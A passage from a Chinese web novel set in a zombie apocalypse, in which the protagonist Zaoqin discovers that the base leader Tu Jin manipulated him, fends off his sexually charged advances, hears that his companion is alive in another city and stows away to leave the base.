她看着枣芩,没说话,眼底闪过一抹困惑。 枣芩指指她女儿,小声:“她手上受伤了。” 妈妈瞳孔骤然紧缩,立马拽过女儿的手,小女孩被拽得身体一晃。 妈妈却松了口气,整个人都泄了气,“……这、这是摔了一跤擦破的。” 枣芩给她递了张纸,妈妈伸手接过,就带着女儿去洗手了,“谢谢你。” 林里一直在盯着他,枣芩见母女两过去,才来到林里面前,“……你刚刚要说什么?” “枣芩。” “嗯?” “对不起。”林里眸光闪动,随后露出一个带着歉意的苦笑,“我骗过你,欺负过你。” 枣芩睁大眼睛听他接着往下说。 “你进基地之前我就知道你了,在车外面说只能一个人进,是在故意吓唬你。你在这里的工作,也是我弄没的……是我害你哭的。” …… “但我还是想让你相信我,不是我的本意。” “我不想让你掉眼泪,不想看你难过。”说到这,林里咬咬牙:“是涂晋,他是组建这个基地的人,是他在骗你。” 他上前,两手握住枣芩的肩膀,看到枣芩僵硬的神情。 “他早就知道你了。你还记不记的,有一次一栋大楼在你面前塌了,就是他干的。他害死了你……那个结婚对象。还有你突然被开除,饿肚子,都是他干的。” “他就是想逼你,逼到你心甘情愿做他的禁、脔!” 最后两个字他咬牙切齿,恨极了。 枣芩抿着的唇隐隐发白,听到最后睫毛直抖。 因为他知道,这极大可能是真的。 第80章 第 80 章 洗脚工 林里的话于枣芩而言, 就像是答题答到一半,突然出现,但不保真的答案。 枣芩会相信他的话, 是因为答案和他本身的思路有所重合。他也发现过不过劲。 可惜当时这感觉太幽微, 被涂晋成为自己伙伴的喜悦碾压了过去。 他的潜意识在回避, 不想打破翘首以盼又即将到来的明天。 或许涂晋就是觉得他是个笨蛋, 装也装的不认真,不严谨。有过很多破绽。 枣芩一直无法解释那些破绽, 也不觉得自己有什么值得被骗的。 他的反应比林里预料的小很多, 只速度缓慢地吞咽因惶恐惊愕而分泌的口水,唇瓣泛白, 似乎在消化突如其来的事实。 “我不是出去了,我是被看守起来了,他不让我靠近你……”林里眼中流露出一点委屈之色。 手掌顺着枣芩的肩膀,往下摸到他的手肘处。 “为什么会这样?”枣芩抬眼看林里, 眼中有些空茫。 他想不通,为什么涂晋会盯上他, 又在什么时候盯上他的,费心思在他面前上演落魄戏码。 动机是什么? 如果是什么……禁脔,想要对他做那种坏事情。 可偏偏涂晋并没对他做过很越界的举动。 枣芩这么想着,就说出来, “他没对我做过——” 林里的表情上就看得出, 他比枣芩难受得多,他下意识觉得枣芩已经被涂晋骗去了半颗心,才为他找借口。 他捏着枣芩脆弱手肘的力道加重一些,一错不错盯着枣芩,“因为他还想要你的心, 要你主动送上去被欺负。” 枣芩眉心皱了皱:…… 【ok,这下都得不到了】 【宝宝会直接去和涂狗对峙吗?】 【不要,说出来他肯定破罐破摔,露出真面目,直接把宝宝关起来了咋办】 【也不是不行……要是……】 【这对吗?】 枣芩颤颤呼出一口气。 所以救他的事情,是不是也是假的,那些人是不是涂晋安排的? 他知道枣芩不会受伤害,可枣芩自己不知道啊,他当时真的非常害怕。 枣芩压下心里杂乱情绪,小声问:“那基地有了感染者。今天出了事,明天外处队还会照常出去吗?” 林里注视了他片刻,明白了些许,摇摇头,“不会照常出去,后天才会。基地里出过一次这种事情,已经有经验了,不会乱套,最多缓一天。” “嗯,谢谢。”枣芩说完,温热的手指忽然握住林里的手。 枣芩的手心出了点冷汗,只虚虚握着他的几根手指。 不像是牵手,更像是一种传达信任的下意识动作。 但这样的距离,对林里来说已经是他不敢想象的亲密。 枣芩离他很近,是从未有过的近,林里都能闻到他身上淡淡的香气。 他指尖抖了下,浑身僵硬不敢动了,也不敢回握。 枣芩眼皮褶皱抬起,“我们就当没见过吧。” 枣芩明白,现在的自己不能知道。否则对方不知道会做出什么。 林里停顿许久,点点头。 那对母女从卫生间出来的时候,林里已经离开,枣芩站在原地咬着唇,目光失神。 垂着的手蓦然被抓住,枣芩看过去,看到一只小手。 小女孩抬头看他,这对枣芩来说是个新奇的角度,他没怎么和小朋友相处过。 “芩芩哥哥,我叫小月,我和妈妈住在三楼右边的第一间。”在说到第一间时,她竖起食指。 随后露出个笑容,“妈妈说如果有什么可以帮到你,你可以找我妈妈。” 枣芩被她的笑容感染,也轻轻笑了下,“谢谢你们啊。” 没多久,操场上的丧尸被处理。 隔着远距离,在窗户一角。 枣芩觑见涂晋眉眼沉郁从烘焙小屋走来,他看到人心下一乱,装自己没看见,连忙转身摆弄工具。 门开的声音很小,枣芩被人从后面束缚住,涂晋下巴搁在枣芩肩膀上,说话的语气简直和枣芩从窗户看到的人不是同一个。 “小芩,你在这里。” 枣芩一时没做出反应,片刻后才若无其事说:“你抱我干嘛。” 涂晋桎梏着他腰的手臂松开,枣芩转身面对他,他一边唇角抬着,熟悉英挺的脸。 就是他让宋呈下落不明,让自己在基地屡屡碰壁、无助难过,被恐吓。 枣芩压下想掉眼泪,愤怒地打他骂他的冲动。表面上只呼吸微乱,让自己镇定下来,“外面怎么样了?” “还有几个发作的感染者,再等等。”涂晋看着他显然不正常的苍白小脸,心里有点不是滋味,不知道那群检查的干什么吃的。 他放轻声音问:“被吓到了?” 枣芩没说话,视线落在外面。 不多时,丧尸和感染者都被处理。 为了防止潜藏着没发作的感染者,基地要求所有人先待在屋内,一层一层下楼去检查。 从五楼开始,枣芩在四楼。 两人一起去到一楼的监察室,分为两间——男女。 他们下来的晚,大部分人都回去了。 里面一个男人检查结束,走出门还在整理着衣服。 枣芩脚步顿了顿,亦步亦趋跟着涂晋走进去。 窗外天色暗淡,手电筒直白打在身上,枣芩看不清对面检查人员的脸,只听到一句“脱吧。” 枣芩知道这是流程,可能他还是有点保守,让他在一个陌生人面前脱衣服还是不太舒服。而且门口还站着两个人,其中还有枣芩认识的郑英雄。 见枣芩进来,就低下眼。 旁边的涂晋倒是平静,动作利索脱了上衣,露出劲瘦身体,转身在手电筒光线检查过后就穿上了衣服。 手电筒的光柱转而在枣芩身上晃了晃,但并没有闪到他脸上,更没闪到枣芩的眼睛。 “你有什么事吗?”检查人员见他一直磨蹭,开口问。 这是什么意思…… 枣芩看向涂晋,咬住唇,有些难堪,他在装什么? 涂晋忽然突兀咳嗽了声。 “你这是害羞?”检查人员显然已经串通过了,几步走过来,把手电筒递给涂晋。 “不让我们检查,那让你朋友帮你检查吧,如果发现伤口一定要说,不然就是毁掉整个基地,不要因为私情隐瞒哈。” 掩饰意味浓重的几句话。 说罢,居然三个人都出去了,还顺手关好门。 出去前,枣芩看了眼郑英雄。 对方视线躲闪,面容冷硬,枣芩登时觉得离谱,自认为意外认识的人,原来也是这场骗局的参与者。 这么严肃的检查,按照他们说的都涉及到‘毁掉基地’。 怎么可能因为被检查的人害羞,就把检查任务交给这个人的朋友,都转身离开,留出空间。 不用想都知道——是涂晋的意思。 “小芩。”涂晋手中捏着手电筒,代替了检察人员。 光线照在地上,屋内晦暗不明,他口吻如常,“只脱上衣就可以,也不用完全脱下来,应该,露出胸口和后背就行吧。” 涂晋好可恶。 枣芩想着。 怎么能这样…… 好欺负人。 枣芩手指紧攥着,指节隐隐发白,一点都不想被涂晋看。 他半天才说:“你知道的,我没有受伤。” “哦,这样。 小芩的意思是,让我去骗他们,我已经检查过你了?” 手电筒在他手中不自觉晃动,光线隐隐绰绰。 他眉梢轻挑,假模假样朝门口走了两步,“那我还是让他们来检查吧。” 他仿佛笃定枣芩不想让陌生人看身体。 却没想到站在原地的枣芩抿了下唇,小声说:“行,那让他们来吧。” 他纤弱手臂交叉,拽住两边衣摆。 涂晋回头就看到这一幕,枣芩作势拽起衣服,明明暗淡的光线,却能清晰见着他露出来,极小一片雪白莹润的皮肤。 要脱给别人看…… 涂晋太阳穴一跳一跳的。 四楼窗前,枣芩坐在椅子上,手臂悬在窗外。 屋内灯光打在他侧脸上,像是一层朦胧的薄纱,他漫不经心望着操场。 检查过后的人可以出去,下面已经有了人,有两个男的站在操场中央傻了似的,不知道朝着楼上看什么。 枣芩或许不是多么聪明,但也不会为了不被发现,就顺着让涂晋看他。 不然涂晋岂不是会更得意了,觉得一切都在他的掌控之内,想逗他就逗他,想看他就看他。 想被他缠住的玩偶一样。 涂晋身形颀长,存在感也很强,在屋内走来走去。 他把衣柜的东西拿出来,拧着眉毛,似乎在研究怎么能把它们都放进背包里去。 简直像是真的要和他走了,演得很像。 枣芩不敢想,假如没有发生丧尸事件,他还不知道这一切。 明天离开的时间,就是涂晋挑破一切的节点,涂晋会对他做什么? 他有些后怕地挪开视线,在窗台趴了一会。 “不用收拾了。”枣芩起身来到床边,拽住了他叠好、正准备放进包里的衣服。 是枣芩之前的那件白衬衣,有新衣服后就没穿过了。 涂晋发觉了他不太对劲,眉峰隆起,直接开口问:“今天怎么了?” …… “丧尸好吓人。”枣芩坐在床上,眼睛垂着,浑身散发着缩手缩脚的可怜,像是今天真的被吓着了,“出去外面肯定要遇到更多的丧尸。” 他慢吞吞抬起头,脸上表现出几分挣扎,“我不想走了,在这里生活挺好的,我们可以找个工作,以后再说。” “而且……我也不想你因为我有危险,我会很难过。”枣芩又低下了头,小声道。 说完自己都觉得自己这句做作。 可涂晋不这么觉得。 他屈膝蹲在枣芩面前,仰起五官轮廓优越的脸,以一个下位的角度看枣芩。这个角度的枣芩依旧是嘴唇都泛白,眼睫闪烁的可怜样子。 哪怕涂晋原本的设想又被打乱。 “留着还是离开,小芩心底里想怎么样就怎么样,只需要考虑自己。” 胸口涌现的感觉很陌生,涂晋知道自己这是心疼,他喉结微动,“我保证不会有这种情况,不会再吓到你了。” 枣芩不说话,他摸到枣芩的手往自己脸上贴,侧头,薄唇轻轻碰了下枣芩的手背。 【他在亲你的手。】系统冒出来提醒。 枣芩满不在乎,【哦。】 系统默然。 枣芩当然没打算留下,他肯定要走,但不能让涂晋察觉,他决定独自离开。 至于什么时候走,枣芩迟疑了,他得再想想。 晚上到了睡觉时间。 枣芩用涂晋打的水开始洗漱,坐在自己床边,挽着裤腿洗脚。他看向刚洗完脸的涂晋,他额发湿漉,眼神莫名专注,正盯着枣芩白生生的脚看。 之前也是,每天都这么看着他。枣芩只觉得是他在等着倒水,到现在不禁心底冷哼一声。 看什么看! 出于一种被人欺骗、耍弄过后的报复心理。枣芩仰起脸,脑子一团热,跟火烧似的失了理智,冷不防开口:“你给我洗脚、吗?” 涂晋脚步没动,眼底闪过惊诧,心头震颤,怔在了原地。 枣芩雪白手指抓皱床单,挺着胸膛,硬着头皮说:“你不是说过你是我的情人吗?我养着你,你也没给我做什么吧。” 枣芩存了羞辱人的心思,但他胆子也确实小。 涂晋没过来的一会时间,枣芩已经因为反应过来了对方的真实身份,而熄了火。 他呼吸停了瞬,假装随意的说:“哈哈……算了,我瞎说的。” 可很快,枣芩眼前黑了下,一具高大身体已经快步来到了他面前,迫不及待蹲下身去。 经脉鼓起而明显粗大的手,进到温热水中,准确握住了枣芩的脚。 枣芩浑身都僵住,脑袋一片空白。 怪异的感觉从脚底一路延伸戳着心脏,他的脚本就敏感,都搞不懂自己是在惩罚对方还是惩罚自己了。 “算、算了,我瞎说的,你别当真。” “不行,我确实没为你做过什么。”他还拒绝上了。 涂晋的手指很粗,还很粗糙,不好看,第一次看到枣芩就这么觉得。此时摸着他的脚,细细摩挲起来,枣芩更这么觉得了。 涂晋低三下四的洗着,枣芩本来是该得意的。可偏偏他还抬头凝视枣芩的表情。 枣芩发觉到,就不悦地扭开脸,抿住自己的嘴巴。 好可爱,弄别的地方表情应该会更可怜、更羞。 快点,让进度再快点。 枣芩对他还是不够亲近。 “你已经洗好了、够了。”枣芩忍不住催促。 涂晋摸着他脚背上一颗浅浅的痣,按揉了下,确认是真的痣。 枣芩却一下没收住,猝不及防抬起被按的脚来,一只脚踢踩着他的肩膀处,肩膀布料立即晕开湿迹。 水滴溅到涂晋脸上,他脖子挨了下枣芩湿淋淋的脚,抬起头眼前是枣芩清韧的小腿,向前看去,像是朝他分开、了腿。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 80-90 第81章 第 81 章 另一边要打吗 他痴了一般没动作。 “我都说了已经好了…”枣芩嘴唇颤颤推卸责任, 他有点怕,顾不上擦脚,要躲回被子里去。 脚踝再次被钳住, 刚好卡着凸起的踝骨。 枣芩动弹不得, 眼皮微抖看着涂晋抓着自己的脚, 让踩在他胸膛上, 那一块布料瞬间湿了。 涂晋耷着眼,卷起下摆, 缓缓擦拭干净枣芩两只脚上的水。 他眼底压抑不住的欲望, 如汹涌翻滚、散不开的浓雾,高大男人嗓音沙哑道:“小芩, 我洗好了。” 他力道一松,枣芩跟只脱了手的猫似的,忙不迭钻回他被子里,浑身上下严严实实盖住, 连头发丝都不露。 【呜、我真想起来打他。】 枣芩苦闷地埋在窒闷手臂间,无处倾诉, 只能对系统,【左勾拳、右勾拳,下面再来一脚踩死它,让他骗我!】 系统:【别。】 【为什么啊?】枣芩被他一个字弄得来气, 【你应该站我这边才对, 要我说什么是什么,你是我的系统还是他的?】 系统停顿片刻,【……永远是你的。】 他只是不想让心机男爽到,那种人很恶心下流。枣芩踩他一脚,他能糕潮。 毕竟已经发生过一次的事情了。 灯被关上, 月光侵入,没人说话显得尤为寂静。 大手突兀按在床铺上,柔软床铺陷进去,连带着细微拉扯床单。 涂晋上了他的床。 枣芩敏感发觉到,一下从被子里钻出头,头发稍有些凌乱。 慌乱之下,结结巴巴开口:“你、你怎么上来了?” “昨天我也在这里睡的。”他作势想躺下。 “昨天是因为我们要走了!”枣芩连忙把腿伸到他身后,挡住他的动作,急切说:“现在……又不走了。” 枣芩在被子里又偷偷把裤子脱了,他不喜欢穿衣服睡觉,涂晋早发觉了。 此时月光盈盈光辉下,是光溜溜、弧度线条漂亮的小腿。 涂晋若无其事收回视线,手状似随意撑在床上,手腕挨着枣芩温热的小腿,话说的卑微,“就像洗脚一样,我是你的情人,陪睡也是我应该做的。” 枣芩仗着对方肯定看不清晰,抿着唇,气懑瞪了他眼。 什么情人,什么受伤,都只是涂晋欺负耍弄他的手段而已。 演得真烂。 枣芩不说话,涂晋也跟着漠然,周遭氛围似乎变了变。枣芩觉得冷,把腿收了回来。 涂晋呼出口气,转过头看着枣芩,认真开口:“我有个秘密。一直没告诉过你,我很怕你知道后,就远离我。” “可我现在发现,这个秘密我自己一个人承受不住,我还是想告诉你。” 枣芩脊背自下而上的僵住,抱住自己的膝盖,缩在小角落,吞咽了下口水。 不是吧,涂晋要告诉他吗? 枣芩并不希望他说出来,改变敌在明我在暗的局面。 趁枣芩有所松懈,涂晋陡然掀开被子的一角,滚烫的身体强势挤入。 枣芩被吓了一跳,鼻尖直要冒汗,下意识往回拽自己的被子,涂晋又开口接着说:“其实我。” “我有病。我有皮肤饥渴症——我渴望充满爱意的抚摸和拥抱,每天都需要触碰别人来缓解我的病症,不然就会很痛苦。” 涂晋还问他:“你难道没发现吗?我每天都会碰碰你。” 枣芩:…… “其实当情人是假的,对不起,隐瞒了你,我只是想治病。 你很善良,能让我抱抱你吗?” 【……】 【图穷匕见】 【话都不想说了。】 枣芩沉默片刻,无语地抬起眼睫看向他,小声道:“那你没见到我之前,岂不是都在和别人抱?……我不想当别人替代品。” 真是疯了,有那么一秒,枣芩居然相信了他一下。这种人嘴巴里只有谎言。 “不是。”涂晋被枣芩的话惊得慌忙开口,都差点被空气呛着。 他连忙坐起身,正面面对枣芩,解释:“没有,从来没发生过的事,我没有抱过别人,小时候家里人什么不算。” 屋内被月光照着,不明亮但也有幽光。 枣芩不置可否,平静看着他。 他不做表情的时候也不会凶,五官都偏柔和,说像猫也不完全是,无法用一种类别的长相概括。 尤其是眼睛,白日里琥珀色看起来纯粹又清透,夜里暗许多。好像永远不会明白别人心底的晦暗,被保护的很好,不染颜色。 可涂晋知道不是这样,他看到过枣芩被别人亲吻的画面,不止一个。 他只是长得清纯,其实心知肚明,一直在钓着自己吧。看自己这么狼狈、为他神魂颠倒的傻样。 身上这么香,说不定用了什么道具,他不知道的魅惑道具。 涂晋一时控制不住自己的恶劣想法,思绪像一条条缠绕的蛇,勒得他要窒息。 呆滞片刻后,枣芩有些疑惑地对他眨眼,他倏地俯头凑近枣芩的颈窝。 这里的空气很浓郁,能让他喘息。 枣芩在他过来的那刻,就下意识后仰,后背抵靠在了冰凉墙壁,稍稍蹙起了眉。 抬手朝着涂晋的脸过去,想要推他,可到了即将触碰到他脸的时候,又停住了。 推别人的脸——枣芩感觉这个动作是有点羞辱意味的。 就枣芩这么几秒钟的犹豫,迅速助长了涂晋的气焰,好像是枣芩默许了他的亲近。 他呼吸骤然急促,像是笼罩像是依靠,他半趴在枣芩身上,嗅闻着他让他着迷的气味。 这香味像从他骨血中出来的,涂晋好想上去舔一舔,琢磨琢磨味。 他的手也跟长了眼睛似的,准确无误摸到枣芩悬着的手,拉着就往自己脖子后放,想让枣芩环住他的脖子。 枣芩眼睛睁大,瞬间想起林里说过的那句‘要你主动送上去被欺负’。 他鼻息猛然加快,心脏乱跳,一下也顾不上什么羞辱不羞辱的,一巴掌落在涂晋侧脸上,用力把他的脸往开推。自己迅速挪开身体,小声喘气。 恍惚间,涂晋只闻到了满手的香气,以及他细嫩的皮肤。 涂晋保持着被推开的姿势,一动不动。 枣芩看他这样,掌心还残留着他侧脸的触感,不免有些惴惴不安。 他也怕涂晋真的生气,对他做出什么不计后果的事情。 “……” 枣芩眼皮控制不住颤抖。 怎么也没料到,涂晋被人按在脸上推开后,会再次凑过来,把另一边脸对着枣芩,嗓音暗哑的说:“另一边要打吗?” 枣芩紧绷着手脚,摇摇头,越说越小声,“明明就、没打你,只是推了你一下而已。” “那推推这一边吗?” “……” 枣芩费了好大力气才把涂晋赶下去,跟个巨型癞皮狗似的,如果不是知道了他的身份,不敢轻举妄动,枣芩真的会发火。 肯定因为涂晋睡前的骚扰,枣芩今晚睡眠质量不太好,又做噩梦了。 和上次一样的离奇、荒诞。 梦中。他在涂晋“皮肤饥渴症”的哀求下,犹豫很久,最终同意了他上床的要求。 涂晋上床后,躬着背从后面环抱着他,嘴里说着什么“枣医生,真是医者仁心啊。” 还把他的腿往枣芩腿缝里挤,贴在枣芩后颈的嘴唇不停地落下舔吻和喘息,弄得枣芩想缩脖子,只能低低地叫。 枣芩醒来回忆起自己做的梦,转头看到地上双眼紧闭的涂晋,顿时小脸煞白,没等涂晋醒就自己跑去吃饭了。 他连住处都不想回去,去了烘焙小屋找陈柚,她人不在,门也关着。 枣芩站在门外,踌躇着不想回去时,脑中响起一个童声。 他试探着去了小月和她妈妈所在的三楼,他们是在同一栋楼的。 枣芩路过很多次三楼,但没有拐进来过,三楼遇到的人都很陌生。 在轻轻敲门几下后,门一开,露出了女人警惕的深棕色眼睛,看到来人是枣芩明显愣了下,开门让他进去。 扎着马尾辫的小月原本正趴在床上画画,此时手中还拿着画本,激动喊:“芩芩哥哥,你终于来了!我一直在想你会不会来。” 枣芩不好意思地笑笑,从口袋掏出两袋饼干给她们,她妈妈没推脱说了谢谢。 和初见印象不同,小月性格其实挺开朗,让空气不至于那么尴尬。 可比起这点尴尬,跟涂晋共处一室更让他难受。 而且他看的出小月妈妈只是不善言辞又慢热,没有排斥他的意思。 几句闲聊破冰,枣芩很快就熟稔起来,得知小月妈妈叫李雪研。 她年龄要比枣芩大个十岁,枣芩叫她李姐。 他没想到李雪妍是从首城基地来的,错愕地睁大眼睛,不太理解,为什么会从首城出来,来到这里。 明明首城条件更好。 枣芩还清楚记得她们来的时候,灰头土脸,形容枯槁,状态很不好。现在都依旧没调整好,但比那时好多了。 李雪研没什么避讳,只安静看着枣芩,神色不动,像是审视又像是观察,淡淡说了句,“因为我杀了人。” 枣芩手中拿着要送进嘴里的饼干,因为他突然加重的力气,裂开了,饼干屑落了一手。 虽然并不知道具体怎么回事,但听到杀人两个字,难免脸色变了变。 他小声试探:“丧尸?” “不是。活人。我丈夫。”她说话轻飘飘的,也看不出什么情绪。说出的话却每一句都捶在人心口。 原本安静坐在床边低着头的小月,紧紧握着手中的彩笔,猛然抬起头。 她倔强地看着枣芩,眼底溢出委屈的泪光,她像是被李雪研那句话戳中了,喊道:“我妈妈不是坏人!” 说话,她又觉得自己不应该对着芩芩哥哥喊。 他对她们很好,给她东西吃,也很好看,像童话故事里面的人一样。 她这样不好。 可是她……不想让别人误会她妈妈。她妈妈又老是不愿意向别人解释,反倒告诉她,在末日就是要让别人知道你不好欺负。 “芩芩哥哥对不起。我妈妈真的不是坏人。是他,他要让别人欺负我和妈妈,妈妈只是保护我们……我一点不觉得妈妈做错了。” 她说着,那张执拗的脸上,不受控制滑下两行泪。 “妈妈很厉害,保护了我们两个人……” 李雪研垂下眼去,掩盖住眼底的情绪。轻轻抚摸小月的头,面上冷静,语气却温柔说:“小月也厉害。” 枣芩靠在窗边,手扣着窗沿,安静看着他们,大概明白了怎么回事。 末世前的三口之家,在末世到来后,像是锋利的验金石,把父亲丑恶的嘴脸暴露出来。 在末世资源匮乏的情况下,令人作呕地想出了出卖老婆女儿,吸她们的血,压榨她们来生存。 好恶心。 一头披着人皮的伥鬼。 枣芩眉头微不可察蹙了下,落在小月已经止住眼泪的脸上,看她在看着自己,露出个微笑。 “是啊是啊,小月也很坚强,你和妈妈一样棒。大家都知道谁才是坏人。” 枣芩很认真说:“你看现在,已经来到这里了,过去的怪物都已经被小月打败了。” 虽然这里的首领是个奇怪又可怕的人,但起码,这里的普通人在这个末世中,生活的还不错。 或许是她们给他分享的原因,出于某种天然的信任,枣芩放松许多,轻轻垂下眼睛,“李姐,我打算过几天出发去首城,你可以给我讲讲那里的事情吗?” 李雪研似乎想到什么表情不太好看,摇摇头,“实话说,我不觉得首城比这里更好。” “……嗯,但我有事情要去办。” 李雪研说她知道的不算多,因为她也只在首城待了不到十天,就出了这事。她把自己能想起来的都告诉了枣芩,希望对他有帮助。 枣芩听着听着,鬼使神差想到了宋呈,不知道他还在不在副本,他那么厉害,肯定不会死的。 可如果他还在,他肯定会先找枣芩,而不会在他们原本的目的地——首城。 可枣芩还是没抱希望问了下,“对了,李姐,你知道宋呈吗?你对这个名字有一点印象吗?” 李雪研平静的声音带出的两个字,却让枣芩脑中轰然,“知道。” “他在首城基地很有名。” 第82章 第 82 章 一款热水袋抱芩芩睡觉…… 李雪研不得不承认, 哪怕她被末世磋磨,自认为早已经适应环境成了个冷漠的人,可面对比她小一轮的枣芩时。 她才知道不是这样的, 她担心别人的能力并没有消失。 “如果你们关系不错, 你去首城, 或许能安全很多。”李雪研看着旁边握着彩笔, 又开始画画的小月。 她在画枣芩,可惜小孩画功实在不怎么样, 只能从衣服的颜色辨认出画里大眼睛、头上戴王冠的是对面的男生。 “如果只是普通朋友, 在我看来,他不是个会帮别人的人。”李雪研接触到宋呈极少, 可少有的几次对方都是不近人情的模样。 她清晰记得那次,首城基地新来一批人,形容狼狈,其中有一家三口。 父亲被检查出身上有伤口, 虽然人类意识还在,伤口边缘却已经开始异化, 他已经意识到自己的命运,似哭似笑地看着妻儿。 妻子显然早知道,立即跪下来苦苦哀求面前的掌权人,说她丈夫是为了救人才受伤的, 只求能别太快杀他, 哪怕把他关起来,可以再多相伴一些时间。 她话还没说完,一颗子弹已经贯穿了那男人的头颅,轰然倒下。 李雪研当时脑中空白,随后就听到了悲恸的痛哭声。 事后她听说那丈夫当时明显即将彻底变异, 瞳孔发灰,已经在缓步靠近最近的儿子。可她还是率先记住了宋呈看周遭人像看死物一般的眼神。 她想不到宋呈这样的人会有关系好的人,还是这个枣芩这个样子。 李雪研从回忆中脱身,抬头看向枣芩。 枣芩眉眼失神,不知道因为她哪句话长久愣住了,思绪明显游离。 【?宋狗你他爹还活着啊】 【他死了……怎么不找到我老婆,不好好保护我老婆。把人带进来就应该做好一个保镖的职责……】 【芩芩不要难过,抱抱宝贝】 枣芩并没难过,他只是被突如其来的信息量冲击到,原本觉得大概率已经离开副本的宋呈,原来还在副本内。 而且已经到达他们原本定好的目的地,听起来还发展的不错。 人有时候就是被推着,才能快速做决定。 枣芩呼吸紧了紧,咬住牙。为做决定之后自己将要付诸的行动,而心脏又快又响地跳动。 昨天夜里,枣芩还没想好什么时候才是离开的时机,他并不太敢一个人上路,也对可能会到来的危险忧虑不安。 可现在他已经决定好了。 ——他要尽快去找宋呈。 这样才能更安全更快速地结束这个副本。 他自己在这里拖着,就算不被涂晋欺负,也没机会完成任务。 心里存着事,枣芩照常侧躺床上,身体微蜷,被子盖到耳朵。 他听到自己心跳像擂鼓般的声音,从他做了凌晨就走的决定开始,就没消停过。 枣芩没法控制它,闭了闭眼,假装自己已经睡着。实在心慌的受不了,试图深呼吸让它安静。 地铺仿佛被闲置,本该躺在那里的、人高马大的涂晋再次爬上枣芩的床,床被压得发出“吱呀”。 涂晋携带着他满身的热气,钻进枣芩冰凉的被子里。 正常情况下,枣芩应该立马坐起身,拽过自己的被子,抬着蝶羽似的眼睫怒视他,生气地叫他下去。 可眼下,枣芩实在有些演不出来自己平时的状态。 “小芩,被子里真冷,像吸血鬼的温度。” 涂晋粗重有力的呼吸,形成热气落在枣芩身后。枣芩不禁轻轻躲了下,不由得就联想到昨晚怪诞的梦,没回话。 涂晋的每一句话,每一次呼吸,都好像是对枣芩的试探。 而枣芩的沉默试探成了一种纵容,加剧他愈演愈烈得寸进尺的试探。 “睡着了?”语气带着笑意,明明知道枣芩没睡,他还故意这么说。 手臂从背后搂住枣芩的腰,他的腰细细一截,侧躺着还是有点软肉。 涂晋还不敢光明正大地摸,只不算过分越界的虚虚搭着。 他自己也没想到,枣芩为什么没丢开他的手臂,安静躺着。 今天晚上不知道怎么了。 好乖。 像是被已经冒出头的冬天冷到,冬眠怠懒的小动物。 涂晋天生体热,跟个火炉子似的,现在有了用处。 他身子长,很自然地就把自己的脚放在枣芩的脚下面,让他踩着自己,但其实更多是他主动贴上去。 …… “小芩心跳好快啊。” “我都听到了。” “我明天去装个床帘,再去搞个厚实的被子和床垫?再换个枕头,现在这个枕头有点硬。” “想要个电暖气吗?” 枣芩有些不耐烦,含糊道:“你能不说话了吗?” 涂晋确实让被子暖和了很多,感觉上升了有十度,枣芩身体回温,身体不再那么僵硬。 某种程度上来说,枣芩这时候身体需要他,精神排斥他。 可对涂晋来说,这是枣芩第一次清醒状况下,让他这么亲近,还让他抱。 因为身高差的原因,枣芩整个人几乎严丝合缝地嵌在他怀中。 他不敢乱摸,怕枣芩生气,不开心把他赶走。 分明抱着一个皮肤冰凉的小芩,他身体却没有降温趋势,反而愈来愈热了。逐渐都分不清心跳声是谁的。 枣芩温热起来的脚动了动,踩他,“……抱得太紧了。” 涂晋连忙松了松,黑暗中眼底幽幽闪烁明明灭灭的光。枣芩真的不排斥他的接近了,抱得不舒服也不是让他离开,还允许他接着抱。 他似乎已经看到了他想要抵达的彼岸。 “好幸福啊……”他胆大包天地去摸枣芩的柔弱的手。 天边隐隐爬上一抹亮色,天空大部分还笼罩在夜幕中。 枣芩迷迷糊糊都不知道自己睡没睡,他从涂晋胸口抬起头来,听到对方平稳的呼吸声,问把他唤醒的系统:【道具给他用上了吗?】 【嗯,你把他的手拿开。】系统提醒。 枣芩掀开被子的一角,立即感觉到朝他袭来的冷空气,直往皮肤里钻。他不顾忌会吵醒人,把涂晋放在他腰上的手拿开,起身穿好衣服。 背包被涂晋收拾在柜子里,铁柜子偶尔丝滑,偶尔会发出刺耳响声,枣芩伸手一开,察觉里面有点卡住。 接近着,果然听到了挠人耳朵的响声。 还好他用了道具,否则这个声音涂晋肯定要醒。 枣芩随便收拾了点吃的,拿上车钥匙、手电筒,往身上多套了两件衣服。临走看了眼还在睡的涂晋,毫无留恋,蹑手蹑脚地离开大楼。 寒风萧萧,枣芩更讨厌冬天了。他只希望找到宋呈,狠狠说他一顿,快点结束这个副本。 他找到外出队车辆,打开后备箱,研究了下,把自己的背包放在头顶,脱了件衣服枕着。 车内阻隔了冷气,只有他一人,枣芩很清醒,心脏因为刚刚的行动‘扑通扑通’。 静下来觉得眼前这一切发生的太快,都没有什么实质感,没反应过来。 不过很好,他已经完成了第一步! 这辆车的钥匙被他放在了口袋中,等到车停下,外出队成员都下去,自己就趁机钻到车前面开车。 枣芩没开过车,但他也见过猪跑。褚风开车时,他都认真记住了,感觉不难。 如果实在开不好。 枣芩小脸皱着。 他也有保命道具用。 外出队外出都会带食物,几人份的食物省省一定够枣芩去首城,这也是枣芩只收拾了一点食物的原因。 他提前补充热量,打开背包拿出一个巧克力塞进嘴里。 事情很顺利,和枣芩想的一样。 几个外出队的成员一起上了车,车身一晃,门被用力关上,车内立马多了各种各样的味道。他们聊着天,越野车很顺利驶出了基地。 没一个人发现,这辆车的灰暗的后备箱里,躺着一个放慢呼吸,嘴巴紧抿的枣芩。 枣芩很警惕,一点声音都不敢发出。可在前面人抽烟的情况下,还是没忍住,极其细微地从喉咙里哽了一下。 “啥声音啊?”显然是过度敏锐地听到了。 枣芩的心立即紧了起来,攥紧手指。 不要啊。可恶,千万不要往后看,不然你倒霉一辈子。 枣芩心里的碎碎念起了点作用。 好在并没人理会男人,这人悻悻丢了烟,关上窗户,也就没再开口了。 之后他没再抽烟,枣芩也跟着松了口气。 越野车顺利停下,枣芩听着他们一个个下车,又听到了另一辆外出队的车也停下。 随后便是他们离开的脚步声,掺杂着几声听不清的对话。 以防有人走的慢,自己冒出头刚好被看到的尴尬场面。 枣芩按着自己隔着几层布料的胸口,祈祷一切顺利。几分钟都没听到任何声响,才确定所有人都已经离开。 他手脚泛软,一只白皙漂亮的手抓住后座座椅,缓缓起身,另一只手先把背包扔前面,自己才跨过一条腿去,整个上半身弯着。 视野余光却瞥见一团暗色,枣芩微张着唇扫去,浑身的血液骤然失去温度,瞳孔遽然紧缩。 窗户两旁不远处,伫立着乌压压的、本应该离开的外出队成员。 